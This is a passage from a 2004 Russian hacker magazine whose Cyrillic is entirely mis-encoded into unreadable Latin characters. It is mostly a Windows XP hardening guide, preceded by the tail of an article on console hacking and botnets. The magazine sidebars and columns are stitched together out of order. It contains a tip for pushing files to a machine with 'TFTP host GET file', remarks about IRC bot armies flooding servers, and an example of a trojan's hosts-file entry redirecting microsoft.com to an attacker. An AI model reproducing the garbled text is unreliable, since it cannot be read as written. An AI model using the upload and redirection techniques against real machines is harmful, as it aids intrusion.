IRC-ñåðâåð, ãäå îáèòàåò åãî ïàïà :), è
ïðèñîåäèíÿåòñÿ ê çëîäåÿíèÿì. Ó÷èòû-
âàÿ ìàñøòàá ýïèäåìèè íà RPC-ôðîí-
òå, ÷èñëî òàêèõ áîòîâ ìîæåò äîñòèãàòü
äåñÿòêîâ òûñÿ÷. À òåïåðü ïðåäñòàâü,
÷òî âñå îíè íàïàäóò íà ñåðâåð ñî
ñðåäíèì êàíàëîì. Ìàøèíà ïðîñòî íå
ñïðàâèòñÿ ñ áîëüøèì íàïîðîì è ñðà-
çó æå óéäåò â äàóí.

Âñå ïðîåêòû áîòîâ ïðèâàòíû è
òðåéäÿòñÿ õàêåðàìè íà ñïåöèàëüíûõ
êàíàëàõ. Íî èíîãäà äîáðîïîðÿäî÷-
íûå àäìèíû âûêëàäûâàþò áîòîâ â
ïóáëè÷íûå èñòî÷íèêè (äëÿ èçó÷å-
íèÿ), êîòîðûå ìîæíî îòûñêàòü â Ãóã-
ëå (ñìîòðè, íàïðèìåð,
swatit.org/bots/gtbot.html).

Âîò, ñîáñòâåííî, è âñå. Òåïåðü òû
çíàêîì ñ àçàìè õàêåðñêîãî ìàñòåðñòâà
â Windows-êîíñîëè. Êàê âèäèøü, ìîæ-
íî áåç îñîáûõ ïðîáëåì äîáèòüñÿ ïîë-
íîãî óïðàâëåíèÿ ñèñòåìîé íåñìîòðÿ
íà óáîãîñòü Windows â ïëàíå óäàëåí-
íîãî àäìèíèñòðèðîâàíèÿ. Íî ïîìíè,
÷òî ýòîò ìàòåðèàë îïóáëèêîâàí ëèøü
â öåëÿõ îçíàêîìëåíèÿ. E
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×òîáû çà-
ëèòü ôàéë
ïî TFTP-
ïðîòîêîëó,
äîñòàòî÷íî
âûïîëíèòü
êîìàíäó
TFTP host
GET file.

Â êîìïëåê-
òå àðõèâà ñ
ïîðòèðîâàí-
íûì Äæî-
íèêîì åñòü
äâà ïðåêîì-
ïèëåííûõ
áèíàðíèêà
äëÿ ïðîöåñ-
ñîðîâ AMD
è INTEL.
Îöåíè êîí-
ôèãóðàöèþ
ñèñòåìû, à
çàòåì âûáå-
ðè ïîäõîäÿ-
ùèé âàðè-
àíò.

Óñïåøíî óñòàíîâëåííûé VNC

Çëûå áîòû àòàêîâàëè èíòåðíåò!



àçóìååòñÿ, çàùèùàòü ñèñòåìó
èìååò ñìûñë ñðàçó ïîñëå óñ-
òàíîâêè. Òîëüêî òîãäà òû ìî-
æåøü áûòü óâåðåí â òîì, ÷òî,
êðîìå òåáÿ, íà ìàøèíå íèêòî

íå îáèòàåò :). Íî åñëè òû èçíà÷àëüíî çàáèë
íà çàùèòó, íè÷òî íå ìåøàåò èñïðàâèòüñÿ è
íàâåðñòàòü óïóùåííîå. Òåáå íå ïðèäåòñÿ
ïðèáåãàòü ê ïîìîùè ïîñòîðîííèõ ïðîãðàìì
� âñÿ íàñòðîéêà ïðîèçâîäèòñÿ ñ ïîìîùüþ
ñòàíäàðòíûõ ñðåäñòâ. 

ÏÎ×ÓÂÑÒÂÓÉ ÑÅÁß 
ÀÄÌÈÍÈÑÒÐÀÒÎÐÎÌ

Ïåðâîå, ÷òî íåîáõîäèìî ñäåëàòü, � ýòî
çàéòè â ðàçäåë «Àäìèíèñòðèðîâàíèå» â ïà-
íåëè óïðàâëåíèÿ. Èìåííî ñ íåãî íà÷èíàåòñÿ
îðãàíèçàöèÿ áåçîïàñíîñòè òâîåé ñèñòåìû.
Êëèêàé íà ÿðëû÷îê «Ñëóæáû» è âíèìàòåëü-
íî îçíàêîìëÿéñÿ ñî ñïèñêîì äåôîëòîâûõ
ñåðâèñîâ. Ìíîãèå èç íèõ äîëæíû áûòü îòê-
ëþ÷åíû çà íåíàäîáíîñòüþ. Ê ïðèìåðó, ðåêî-
ìåíäóåòñÿ âûðóáèòü ñëóæáó ðàññûëêè ñèñ-
òåìíûõ îïîâåùåíèé. Äåëî â òîì, ÷òî â ïîñ-
ëåäíåå âðåìÿ ýòîò ñåðâèñ þçàåòñÿ çëîáíû-
ìè ñïàìåðàìè, êîòîðûå ðàññûëàþò ñâîè ñî-
îáùåíèÿ ñ ïîìîùüþ àâòîìàòèçèðîâàííûõ
÷åðâåé. Ïðè÷åì ôàåðâîë íå âñåãäà çàùèùà-
åò îò íàçîéëèâûõ ðåêëàìùèêîâ � õàêåðû íà-
ó÷èëèñü ñïóôèòü IP-àäðåñ è òåì ñàìûì ïðî-
áèâàòüñÿ ÷åðåç áðàíäìàóýð.

Äàëåå óáåäèñü, ÷òî ó òåáÿ âûêëþ÷åí
ñåðâèñ óäàëåííîãî óïðàâëåíèÿ Windows
è Telnet. Äëÿ ðàáî÷åé ñòàíöèè ýòè äåìî-
íû àáñîëþòíî áåñïîëåçíû. Òîëüêî
ïðåäñòàâü, ÷òî òâîåé ìàøèíîé óïðàâëÿåò
çëîáíûé õàêåð, êîòîðûé ñëó÷àéíî (èëè
íàìåðåííî) ïîäîáðàë ïàðîëü ê àäìèíèñò-
ðàòîðñêîìó àêêàóíòó.

È, íàêîíåö, îòêëþ÷è óäàëåííîå óïðàâëåíèå
ðååñòðîì. Åñëè âçëîìùèê ïî êàêèì-òî ïðè÷è-
íàì óçíàåò ïàðîëü àäìèíèñòðàòîðà (èëè ëþ-
áîãî þçåðà ñ ïîâûøåííûìè ïðàâàìè), òî
ñìîæåò óäàëåííî ïîäêëþ÷èòüñÿ ê ðååñòðó.
Õàêåðó áóäóò äîñòóïíû òðè ïåðâûõ âåòêè.
Çëîóìûøëåííèê ìîæåò òàê íàïîðòà÷èòü, ÷òî
òåáå ïðèäåòñÿ ñíîñèòü âñþ ñèñòåìó.

Ñàìîå âðåìÿ ïîçàáîòèòüñÿ î áóäóùåé áå-
çîïàñíîñòè. Âûäåëè ñàìûå âàæíûå ñëóæáû,
êîòîðûå íå äîëæíû áûòü âíåçàïíî îñòàíîâ-
ëåíû. Çàéäè â ïóíêò «Âîññòàíîâëåíèå» è âû-
áåðè «Ïåðåçàïóñê ñëóæáû» ïîñëå ïåðâîãî,
âòîðîãî è òðåòüåãî ñáîåâ. Åñëè õàêåð ïîïû-
òàåòñÿ àòàêîâàòü êðèâîé ñåðâèñ, îí áåç
ïðîáëåì ïåðåçàïóñòèòñÿ.

ÁÅÇÎÏÀÑÍÛÉ ÔÀÉËÎÂÛÉ ÀÐÕÈÂ
Íåêîòîðûå «óìíûå» ëè÷íîñòè ðåêîìåí-

äóþò îòêëþ÷èòü ñåðâèñ çàùèòû ôàéëîâ.
Ýòîãî íå ñòîèò äåëàòü ïî îäíîé ïðîñòîé ïðè-
÷èíå - ìíîãèå òðîÿíöû ëþáÿò ìàñêèðîâàòüñÿ
ïîä ÿêîáû ñèñòåìíûé ôàéë, ïîñëå ÷åãî
WinXP ìåäëåííî, íî âåðíî ïðåâðàùàåòñÿ â
ïëàöäàðì äëÿ ÷åðâÿêîâ. Ïðè âêëþ÷åííîì
ñåðâèñå ñëóæáà ïåðåçàïèøåò âàæíûé ôàéë
åãî êîïèåé è òåì ñàìûì ëèêâèäèðóåò ÷åð-
âÿ÷êà. Åñëè çàêðàëîñü ïîäîçðåíèå, ÷òî âè-
ðóñ êàêèì-òî îáðàçîì ïðîíèê íà ìàøèíó, çà-
ïóñòè ïðîãðàììó SFC ñ ïàðàìåòðîì /SCAN-
NOW, êîòîðàÿ ìîìåíòàëüíî ïðîñêàíèðóåò
âñå ñèñòåìíûå êàòàëîãè.

Çàâåòíàÿ ìóäðîñòü ëèíóêñîèäîâ: íå ñèäè
ïîä ðóòîì! Òî æå ñàìîå ðåêîìåíäóåì è òåáå.
Êîãäà ó òåáÿ íåâçðà÷íûå ïðàâà (êîòîðûõ
âïîëíå õâàòàåò äëÿ íîðìàëüíîé ðàáîòû),
òðîÿíó íå ïîä ñèëó îòôîðìàòèðîâàòü âèíò,

Ð

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ë þáóþ îïåðàöèîíêó íåîáõîäèìî ãðàìîòíî çàùèùàòü îò âíåøíèõ íàïàñòåé.
Åñëè îá ýòîì ñâîåâðåìåííî íå ïîçàáîòèòüñÿ, òî òâîÿ ñèñòåìà áóäåò æèâîé

ìèøåíüþ äëÿ âèðóñîâ, òðîÿíîâ, ÷åðâåé è äàëåå ïî ñïèñêó.
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ïåðåñëàòü ñèñòåìíûå ïàðîëè è ò.ï.
Íî ïîðîé ïåðååçä íà îáû÷íûé àêêà-
óíò íåâîçìîæåí (åñëè þçåð ðàáîòàåò
ñ ïðèëîæåíèÿìè, òðåáóþùèìè äî-
ïîëíèòåëüíûõ ïðèâèëåãèé). Â ýòîì
ñëó÷àå ïðèõîäèòñÿ ïðèáåãàòü ê äî-
ïîëíèòåëüíûì ìåðàì áåçîïàñíîñòè.
Óáåäèñü, ÷òî WinXP ñòîèò íà ôàéëî-
âîì ðàçäåëå NTFS. Òîëüêî â ýòîì
ñëó÷àå òû ìîæåøü êîíòðîëèðîâàòü

ïðàâà íà êàòàëîãè. Åñëè ýòî òàê, çà-
ïóñòè ïðîâîäíèê, âîéäè â «Ñåðâèñ ->
Ñâîéñòâà ïàïêè -> Âèä» è óáåðè ãà-
ëî÷êó «Èñïîëüçîâàíèå ïðîñòîãî îá-
ùåãî äîñòóïà ê ôàéëàì». 

Ñîãëàñèñü, òåáå íå âñåãäà òðåáóåò-
ñÿ ïîëíûé äîñòóï ê ñèñòåìíûì ôàé-
ëàì. À òâîèì ïðàâîì íà çàïèñü â
âèíäîâûé êàòàëîã ÷àñòî ïîëüçóþòñÿ
òðîÿíöû, êîòîðûå õèòðûì îáðàçîì

ïðîíèêëè íà ìàøèíó. ×òîáû íèêàêàÿ
çàðàçà íå ìîãëà çàïèñàòü ñåáÿ â
c:\windows, òåáå íóæíî ïåðåçàãðó-
çèòü ìàøèíó è çàéòè â áåçîïàñíîì
ðåæèìå ïîä àêêàóíòîì àäìèíèñòðàòî-
ðà. Çàïóñêàé ïðîâîäíèê è òîïàé â
ñâîéñòâà c:\windows. Êëèêàé ïî áåçî-
ïàñíîñòè è óäàëÿé ñâîé èäåíòèôèêà-
òîð èç ñïèñêà âëàäåëüöåâ. Òî æå ñà-
ìîå ðåêîìåíäóåòñÿ ñäåëàòü è ñ êàòà-
ëîãîì c:\Program Files. Òåïåðü, êîãäà
òû ïåðåçàãðóçèøü ìàøèíó, ó òåáÿ
áóäóò ïðàâà òîëüêî íà ïðîñìîòð è
âûïîëíåíèå ñèñòåìíûõ ôàéëîâ. 

Òû ìîæåøü îçàäà÷èòüñÿ âîïðîñîì: à
êàê òåïåðü ñòàâèòü íîâûé ñîôò? Âåäü
ñåòàïó òðåáóåòñÿ çàïèñàòü äàííûå â
Program Files, à èíîãäà è çàêèíóòü êîí-
ôèãè â âèíäîâûé êàòàëîã. Ïðèäåòñÿ
çàïóñêàòü èíñòàëëÿòîð îò èìåíè àäìè-
íèñòðàòîðà. Äëÿ ýòîãî êëèêíè ïðàâîé
êíîïêîé ïî èñïîëíÿåìîìó ôàéëó è
âûáåðè ïóíêò «Çàïóñòèòü îò èìåíè».
Äîñòàòî÷íî ââåñòè ïàðîëü äëÿ ó÷åò-
íîé çàïèñè àäìèíà, è óñòàíîâùèê êîð-
ðåêòíî çàïèøåò ëþáîé ôàéë â ëþáîå
ìåñòî. Áóäü îñòîðîæåí: çàïóñêàé ëèøü
ïðîâåðåííûå èíñòàëëåðû, âåäü òðîÿ-
íû î÷åíü ëþáÿò ìàñêèðîâàòüñÿ ïîä
áåçîáèäíûå ïðèëîæåíèÿ :).
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Óáåäèñü,
÷òî ó òåáÿ
óäàëåíû âñå
ëåâûå þçå-
ðû, à ó àä-
ìèíèñòðà-
òîðà óñòà-
íîâëåí
ñëîæíûé
ïàðîëü.

Ñêà÷àé
ñïðàâî÷íèê
ïî ðååñòðó
Windows
(winchang-
er.whatis.ru
/file/reg4.zi
p) è âñåãäà
áóäü â êóð-
ñå åãî ïîò-
ðÿñàþùèõ
âîçìîæíîñ-
òåé.

×åãî-òî íå õâàòàåò

Ïîñëå òîãî êàê òû âûâåë çàùèùåííóþ, íà ïåðâûé âçãëÿä,
Windows â èíòåðíåò, òåáå íóæíî ïîñòàâèòü ðÿä íåçàìåíèìûõ ïàò-
÷åé, êîòîðûå ïîçâîëÿò ñåðôèòü ãëîáàë äàæå ïðè âûêëþ÷åííîì
áðàíäìàóýðå. 

1. RPC-DDCOM PPatch
Ïàò÷ ïðèìåíÿåòñÿ îò âñåõ íàïàñòåé, êîòîðûå áàçèðóþòñÿ íà RPC-
ïðîöåäóðàõ. Óñòàíîâèâ õîòôèêñ, òû îáåçîïàñèøü ñâîþ ìàøèíó îò
íàçîéëèâîãî ÷åðâÿêà msblast, êîòîðûé äî ñèõ ïîð õîçÿéíè÷àåò íà
òûñÿ÷àõ çàðàæåííûõ ìàøèí. Ñòÿíóòü çàïëàòêó ìîæíî îòñþäà:
www.microsoft.com/downloads/details.aspx?FamilyId=D488BBBB-
DA77-4448D-88FF0-00A649A0D8FC3&displaylang=ru.

2. ASN.1 PPatch
Ïàò÷èê ñëóæèò ïðîòèâ áðåøè â ôóíêöèÿõ ASN.1. Åñëè íå ïîñòàâèòü
çàïëàòêó, òî õàêåð ìîæåò ñðàçèòü òâîé IIS ýêñïëîèòîì äëÿ ìîäóëÿ
SSL äàæå ïðè âêëþ÷åííîì ôàåðâîëå. À ïðè âûêëþ÷åííîì áðàíäìà-
óýðå íà òâîé êîìïüþòåð ïîïàäåò çëîáíûé ÷åðâü Saccer � çâåðåê, ïî-
õîæèé íà msblast. Ñòÿãèâàé õîòôèêñ ïî àäðåñó www.microsoft.com/
downloads/details.aspx?FamilyId=0CC30297-DD4AE-448E9-AACD0-
1343D89CCBBA&displaylang=ru è ðàäóéñÿ æèçíè.

3. Internet EExplorer SSP1
Ñåðâèñïàê äëÿ IE 6.0 îáÿçàòåëåí äëÿ òâîåé WinXP. Äåëî â òîì, ÷òî
â ïîñëåäíåå âðåìÿ ðàçâåëîñü îãðîìíîå ÷èñëî áàãîâ, êîòîðûå ïîç-
âîëÿþò çàëèâàòü òðîÿíîâ ÷åðåç IE. Ïðè ýòîì íèêàêîé àíòèâèðóñ è
ôàåðâîë íå ñïàñàþò. ×òîáû îêîí÷àòåëüíî çàáûòü î òàêèõ óÿçâè-
ìîñòÿõ, ñêà÷àé è óñòàíîâè IESP1 (www.microsoft.com/downloads/
details.aspx?familyid=9339f6a3-88af9-441e0-aaf61-44564e9361a0c&dis-
playlang=ru).

Íî, ÷åñòíî ãîâîðÿ, ëó÷øå íå ïîëåíèòüñÿ è ïîñòàâèòü íîâûé
Service Pack 2 - SP2 (ëåæèò íà íàøåì äèñêå), êîòîðûé ñîäåðæèò â
ñåáå âñå âûøåóïîìÿíóòûå ïàò÷è (è íå òîëüêî ýòè ïà÷òè), à òàêæå
áëîêèðîâùèê popup'îâ äëÿ IE, íîðìàëüíûé ôàåðâîë è åùå ìíîãî
ïîëåçíûõ âåùåé.

ÏÐÎÏÀÒ×Ü ÑÂÎÞ ÂÈÍÄÓ!



Ïî÷àùå
ïðîâåðÿé
ñïèñîê àâ-
òîçàãðóçêè
êîìàíäîé
msconfig.
Ìàëî ëè
êàêàÿ çàðà-
çà òàì îáè-
òàåò :).

ÄÎÂÅÐÜÑß ÔÀÅÐÂÎËÓ
Ñòðàøíî ïîäóìàòü î òîì, ÷òî áó-

äåò, åñëè âûâåñòè WinXP â èíòåðíåò
áåç çàïóùåííîãî ôàåðâîëà. Íà ìà-
øèíó òóò æå íàïàäóò ÷åðâè, áàçèðóþ-
ùèåñÿ íà óÿçâèìîñòÿõ DCOM/ASN.1.
Ìû ïîäñ÷èòàëè, ñêîëüêî íå÷èñòè çà-
ïèøåòñÿ â ñðåäíåì íà íåçàùèùåí-
íóþ ìàøèíó - çà îäèí äåíü 450 òðî-
ÿíöåâ è íåñêîëüêî äåñÿòêîâ FTP-
ñêðèïòîâ! Âïå÷àòëÿåò, íå ïðàâäà ëè?
À òåïåðü ïðåäñòàâü, ÷òî ýòè ÷åðâè
æèâóò è çäðàâñòâóþò íà òâîåé ðîä-
íîé òà÷êå. Ïðè òàêîì ðàñêëàäå ëåã÷å
ïåðåóñòàíîâèòü ñèñòåìó, ÷åì æèòü
ñðåäè îïàñíûõ âèðóñîâ.

Íåñìîòðÿ íà ñêóäíûå âîçìîæíîñòè
ñòàíäàðòíîãî ôàåðâîëà åìó âïîëíå
ìîæíî äîâåðÿòü (îñîáåííî â SP2, êî-
òîðûé îáÿçàòåëüíî ñëåäóåò óñòàíî-
âèòü! - ïðèì. ðåä.). Íå ñëóøàé òåõ, êòî
ðåêîìåíäóåò ïîñòàâèòü íàâîðî÷åí-
íûé áðàíäìàóýð íà ðàáî÷óþ ñòàíöèþ.
Åñëè òû èñïîëüçóåøü âñòðîåííûé
ñåðâèñ, òî âûèãðûâàåøü â ñêîðîñòè è
âðåìåíè. Âåäü íàñòðîèòü ICS, êàê äâà
áàéòà ïåðåñëàòü! ×òîáû îáåçîïàñèòü
ñåáÿ îò âñÿêèõ ÷åðâÿ÷êîâ, çàéäè â
ñâîéñòâà ñîåäèíåíèÿ, âûáåðè âêëàä-
êó «Äîïîëíèòåëüíî» è îòìåòü ñîîò-
âåòñòâóþùóþ îïöèþ. Äàëåå æìè íà
«Ïàðàìåòðû» è îòìå÷àé âñå ñëóæáû,
êîòîðûå íåîáõîäèìî ðàçðåøèòü. Öå-
ëåñîîáðàçíî äîáàâèòü â ðàçðåøåí-
íûå Web-, FTP- è SMTP-ñëóæáû (åñëè
òàêîâûå èìåþòñÿ). Âñå îñòàëüíîå àâ-
òîìàòè÷åñêè ñêðîåòñÿ çà îãíåííîé ñòåíîé. Äëÿ ìîíèòîðèíãà îáÿçàòåëü-

íî æóðíàëèðóé âñå ïðîïóùåííûå ïà-
êåòû â îòäåëüíûé ëîã. Ïî æåëàíèþ
ìîæåøü ðàçðåøèòü èëè çàïðåòèòü
ICMP � âñå â òâîèõ ðóêàõ.

Åäèíñòâåííûì íåäîñòàòêîì ICS â
"äîSP2÷åñêîé" XP ÿâëÿåòñÿ íåñïîñîá-
íîñòü ðàçãðàíè÷åíèÿ ïðàâ ïî IP-àäðå-
ñàì. Íî â íåêîòîðûõ ñëó÷àÿõ ýòî íå
íóæíî.

ÊÎÍÒÐÎËÈÐÓÉ ÐÅÅÑÒÐ
Òåïåðü, êîãäà ó òåáÿ èìåþòñÿ óñ-

òàíîâëåííûé ôàåðâîë è çàùèùåí-
íûé ôàéëîâûé àðõèâ, ïðèøëî âðåìÿ
ïîêîïàòüñÿ â ðååñòðå. Ðàçëè÷íûì ïà-
ðàìåòðàì è ðàçäåëàì ñëåäóåò óäåëÿòü
îñîáîå âíèìàíèå, èáî ïîâðåæäåíèå
ðååñòðà ìîæåò ïðèâåñòè ê ïîòåðå âñåõ
âàæíûõ äàííûõ.

Çàïóñêàé ñòàíäàðòíûé ðåäàêòîð ðå-
åñòðà regedit.exe îò èìåíè àäìèíèñò-

ðàòîðà. Åãî âîçìîæíîñòåé õâàòèò äëÿ
ãðàìîòíîé íàñòðîéêè. Â ïåðâóþ î÷å-
ðåäü, çàéäè âî âêëàäêó «HKLM\soft-
ware\Microsoft\Windows\Current
Version\Run» è óáåäèñü, ÷òî òàì æè-
âóò ëèøü äîâåðåííûå ïðèëîæåíèÿ.
Êîíå÷íî, åñëè òû òîëüêî ÷òî ïîñòàâèë
ñèñòåìó (èëè ïîñòîÿííî ìîíèòîðèøü
ñïèñîê àâòîçàãðóçêè), âîëíîâàòüñÿ íå
î ÷åì. Çàéäè â ìåíþ «Ïðàâêà -> Ðàçðå-
øåíèÿ» è ñíèìè ïðàâà ñî ñâîåãî ëîãè-
íà. Òåïåðü, äàæå ïðè áîëüøîì æåëà-
íèè, çàïóùåííûå îò òåáÿ òðîÿíöû íå
ïðîïèøóòñÿ â àâòîçàãðóçêå. Òî æå ñà-
ìîå ïðîäåëûâàé ñ ðàçäåëàìè Run
Once è Run Services â HKLM è HKCU. 

CMD ÏÎÄ ÓÄÀÐÎÌ
Ðàçëè÷íàÿ õàêåðñêàÿ íå÷èñòü ïû-

òàåòñÿ çàïóñòèòü cmd.exe äëÿ óäà-
ëåííîãî óïðàâëåíèÿ ñèñòåìîé. Ó òå-
áÿ íèêîãäà íå áûëî æåëàíèÿ âîñïðå-
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ÕÀÊÅÐÑÏÅÖ    11(48) 2004

Ðåãóëÿðíî
ïîñåùàé
www.xakep.ru
è www.secu-
ritylab.ru -
âñåãäà áó-
äåøü â êóð-
ñå íîâûõ
óÿçâèìîñ-
òåé è ïàò-
÷åé.

ÃÐÀÌÎÒÍÀß ÇÀÙÈÒÀ ÎÑÈ72 ÇÀÙÈÒÀ

Êîãäà ïðè ñðàâíåíèè 9x è ëè-
íåéêè NT óïîìèíàþò î çàùè-
ùåííîñòè ýòèõ ñèñòåì, ÿ îáû÷íî
âåæëèâî óëûáàþñü è îòõîæó â
ñòîðîíó. Ñèñòåìà Windows XP
íè÷óòü íå áîëåå çàùèùåíà, ÷åì
Windows 98. Íî â XP ïðèñóò-
ñòâóåò ðåàëèçàöèÿ ìåõàíèçìîâ
çàùèòû, êîòîðûõ â Windows 9x
ïðîñòî íåò. Îäíèõ òîëüêî òåõíî-
ëîãèé, ïîçâîëÿþùèõ ðåàëèçî-
âûâàòü ôàåðâîë â Windows XP,
âñòðîåíî öåëûõ ÷åòûðå øòóêè!
Âîñïîëüçóåøüñÿ òû èìè èëè
íåò, óæå òâîå äåëî. Òîëüêî îò
òåáÿ çàâèñèò, áóäåò ëè òâîÿ ñèñ-
òåìà äåéñòâèòåëüíî çàùèùåíà
èëè òàê è îñòàíåòñÿ ïëàöäàðìîì
äëÿ ñïàìåðîâ. 

Äëÿ ìèíèìàëüíîé íàñòðîéêè áåçîïàñíîñòè (÷òîáû òåáÿ íå ñâàëèë
ïåðâûé æå ïîïàâøèéñÿ ÷åðâÿê) äîñòàòî÷íî îòêëþ÷èòü íåíóæíûå
ñåòåâûå ñëóæáû, àêòèâèðîâàòü ìåæñåòåâîé ýêðàí, ðåãóëÿðíî ñòà-
âèòü îáíîâëåíèÿ äëÿ ñèñòåìû è ÍÅ ÐÀÁÎÒÀÒÜ ÏÎÄ ÀÄÌÈÍÈÑÒÐÀ-
ÒÎÐÎÌ! Âñå ýòî ìîæíî ñäåëàòü ïîä XP, íî ïîä Win98 � íåðåàëüíî.
Êàê ìîæíî íàñòðàèâàòü ðàçãðàíè÷åíèå äîñòóïà äëÿ ðàçëè÷íûõ
ïîëüçîâàòåëåé â ñèñòåìå, ãäå ïîëüçîâàòåëè ðàçëè÷àþòñÿ òîëüêî
ïóòåì ê ïàïêå ïðîôèëÿ?

Â XP åñòü åùå îäíà èíòåðåñíàÿ âîçìîæíîñòü � Software Restriction
Policy. Òû ìîæåøü ïðîïèñàòü, êàêèå ïðîãðàììû ñïîñîáíû çàïóñ-
êàòüñÿ ó òåáÿ íà ìàøèíå. Äàæå åñëè êàêàÿ-òî çàðàçà ïðèïîëçåò â
ïî÷òó òâîåé ñåñòðóõè ïîä âèäîì ôîòîãðàôèè ïðåêðàñíîãî ïðèíöà,
íè÷åãî ó íåå íå âûéäåò.

Åùå îäíà ïîëåçíàÿ øòóêà � øàáëîíû áåçîïàñíîñòè. Òû ìîæåøü
ñîáðàòü âñå îïèñàííûå â ýòîé ñòàòüå íàñòðîéêè â åäèíûé ôàéë è
çàòåì çà íåñêîëüêî ñåêóíä íàêàòûâàòü èõ íà ñâåæóþ îïåðàöèîí-
íóþ ñèñòåìó ñâîåìó ïðèÿòåëþ, à íå òûêàòü ìûøêîé ïîëòîðà ÷àñà.
Êàê èõ èñïîëüçîâàòü? Ñïðîñè ó Google "øàáëîíû áåçîïàñíîñòè
windows" è "íàñòðîéêà Software Restriction Policy".

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT

Íå çàáóäü âêëþ÷èòü ôàåðâîë



ïÿòñòâîâàòü ýòîìó? Ñàìîå âðåìÿ ïå-
ðåèìåíîâàòü cmd.exe íà ïðîèçâîëü-
íîå èìÿ. Íàçîâè åãî, ñêàæåì,
cmx.exe. Íå çàáûâàé, ÷òî êîïèÿ èíòå-
ðïðåòàòîðà íàõîäèòñÿ â
c:\windows\dllcache\cmd.exe, è åå
òàêæå íóæíî ïåðåèìåíîâàòü. Íî ýòî
åùå íå âñå. Òåïåðü çàêðåïè âñå èç-
ìåíåíèÿ â ðååñòðå è íå äàé õàêåðó
íè ìàëåéøåãî øàíñà :). Ñäåëàé òàê,
÷òîáû, åñëè õàêåð ïûòàåòñÿ îáðà-
òèòüñÿ ê cmd.exe, âìåñòî øåëëà çà-
ïóñêàëñÿ îáû÷íûé áëîêíîò, ïîÿâëå-
íèå êîòîðîãî áóäåò ñèãíàëîì îá
îïàñíîñòè. Ïåðåéäè âî âêëàäêó

«HKLM\Software\Microsoft\Windows\
Current Version\App Patch», ñîçäàé
òàì âëîæåííûé ðàçäåë cmd.exe è èç-
ìåíè çíà÷åíèå äåôîëòîâîãî ïàðà-
ìåòðà íà ïóòü ê áëîêíîòó. Òåïåðü
ïîïðîáóé çàïóñòèòü cmd.exe ;).

Íå ñåêðåò, ÷òî õàêåðû ëþáÿò ñêàíè-
ðîâàòü ñåòè íà ïðåäìåò ðàñøàðåííûõ
ðåñóðñîâ. Åñëè ó òåáÿ åñòü îáùèå ïàï-
êè ïîëüçîâàòåëåé, ñòîèò çàäóìàòüñÿ
íàä ðåçîííûì âîïðîñîì, íóæíî ëè
ñâåòèòü ñïèñîê øàð íàðóæó. Ìîæíî
îòêëþ÷èòü NULL-ñåññèþ, òî åñòü îòîá-
ðàæåíèå îáùèõ ïàïîê äëÿ àíîíèìíûõ
ïîëüçîâàòåëåé. Çàéäè âî âêëàäêó

«HKLM\SYSTEM\CurrentControlSet\Co
ntrol\Lsa» è âûñòàâè çíà÷åíèå 1 ó
ñòðîêîâîãî ïàðàìåòðà
RestrictAnonymous. Òåïåðü, ÷òîáû
ïîñìîòðåòü ñïèñîê ðàñøàðåííûõ êàòà-
ëîãîâ, íóæíî çàëîãèíèòüñÿ ïîä ñèñ-
òåìíûì þçåðîì.

×àñòî áûâàåò, ÷òî òðîÿíåö çàïèñû-
âàåò â ôàéë hosts ññûëêó âèäà
«microsoft.com hacker-ip-address».
Ïîñëå îáðàùåíèÿ ê ñàéòó MS íà
êîìïüþòåð æåðòâû çàëèâàåòñÿ åùå
îäèí òðîÿí (êàê ïðàâèëî, ÷åðåç äûðó
â áðàóçåðå). ×òîáû ýòîãî íå ïðîèçîø-
ëî, èçìåíè ìåñòîïîëîæåíèå ôàéëà
hosts (è lmhosts). Ýòî ìîæíî ñäåëàòü â
ðàçäåëå «HKLM\SYSTEM\
CurrentControlSet\Services\Tcpip\
Parameters2 - ñìåíè çíà÷åíèå
DataBasePath íà äðóãîé ïóòü.

ËÎÊÀËÜÍÀß ÁÅÇÎÏÀÑÍÎÑÒÜ
ÏÐÅÂÛØÅ ÂÑÅÃÎ

Ñîãëàñèñü, ÷òî åñëè íà òâîåé ìà-
øèíå îáèòàþò åùå è äðóãèå ïîëüçî-
âàòåëè, ãðåõ íå îãðàíè÷èòü èõ â âîç-
ìîæíîñòÿõ. Äëÿ ýòîãî íåîáõîäèìî
çàìóòèòü ëîêàëüíóþ ïîëèòèêó áåçî-
ïàñíîñòè. Çàõîäè â «Àäìèíèñòðèðî-
âàíèå» è âûáèðàé ñîîòâåòñòâóþùèé
ðàçäåë. Çäåñü òû ìîæåøü çàäàòü îã-
ðàíè÷åíèå íà äîñòóï ê ðàñøàðåí-
íûì ðåñóðñàì, çàïðåòèòü þçåðàì
âûðóáàòü XP, îòêëþ÷èòü âîçìîæ-
íîñòü îáðàùåíèÿ ê ðååñòðó è ìíî-
ãîå äðóãîå. Õî÷åøü áîëüøåãî? Ñîâ-
ñåì íåîáÿçàòåëüíî âûêà÷èâàòü êà-
êîé-íèáóäü ôóíêöèîíàëüíûé òâè-
êåð, äîñòàòî÷íî çàïóñòèòü ñêðèïò
ãðóïïîâîé ïîëèòèêè gpedit.msc. Îí
ïîìîæåò îñóùåñòâèòü çàïðåò ê
âêëàäêàì ñòàðòîâîãî ìåíþ, ïàíåëè
óïðàâëåíèÿ è ìíîãèì äðóãèì âåùàì.
Çäåñü æå òû ìîæåøü çàïðåòèòü çà-
ïóñê ôàéëîâ ñ ïðîèçâîëüíûìè íàç-
âàíèÿìè è ðàñøèðåíèÿìè, à òàêæå
âîîáùå çàêðûòü ëîêàëüíûé âõîä.
Âñå â òâîèõ ðóêàõ :).

ÁÅÇ ØÀÍÑÎÂ
Ìîæåøü áûòü óâåðåí, ÷òî íèêàêîé

òðîÿíåö íå çàëüåòñÿ â òâîþ ñèñòåìó.
À åñëè îí è ïðîíèêíåò, òî íå áóäåò
èìåòü øàíñîâ íà âûæèâàíèå. È ýòî
áëàãîäàðÿ òîìó, ÷òî òû âîâðåìÿ ïîçà-
áîòèëñÿ î áåçîïàñíîñòè. E
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Íå âûêëþ-
÷àé âîçìîæ-
íîñòü âîñ-
ñòàíîâëåíèÿ
ñèñòåìû.
Ýòîò ñåðâèñ
òðåáóåò
íåñêîëüêî
ìåòðîâ íà
HDD, íî ÿâ-
ëÿåòñÿ
âåñüìà íåï-
ëîõîé ñòðà-
õîâêîé.

Ñòàíäàðò-
íîå ìåñòî-
ïîëîæåíèå
ôàéëà
hosts �
c:\win-
dows\sys-
tem32\driv
ers\etc\.

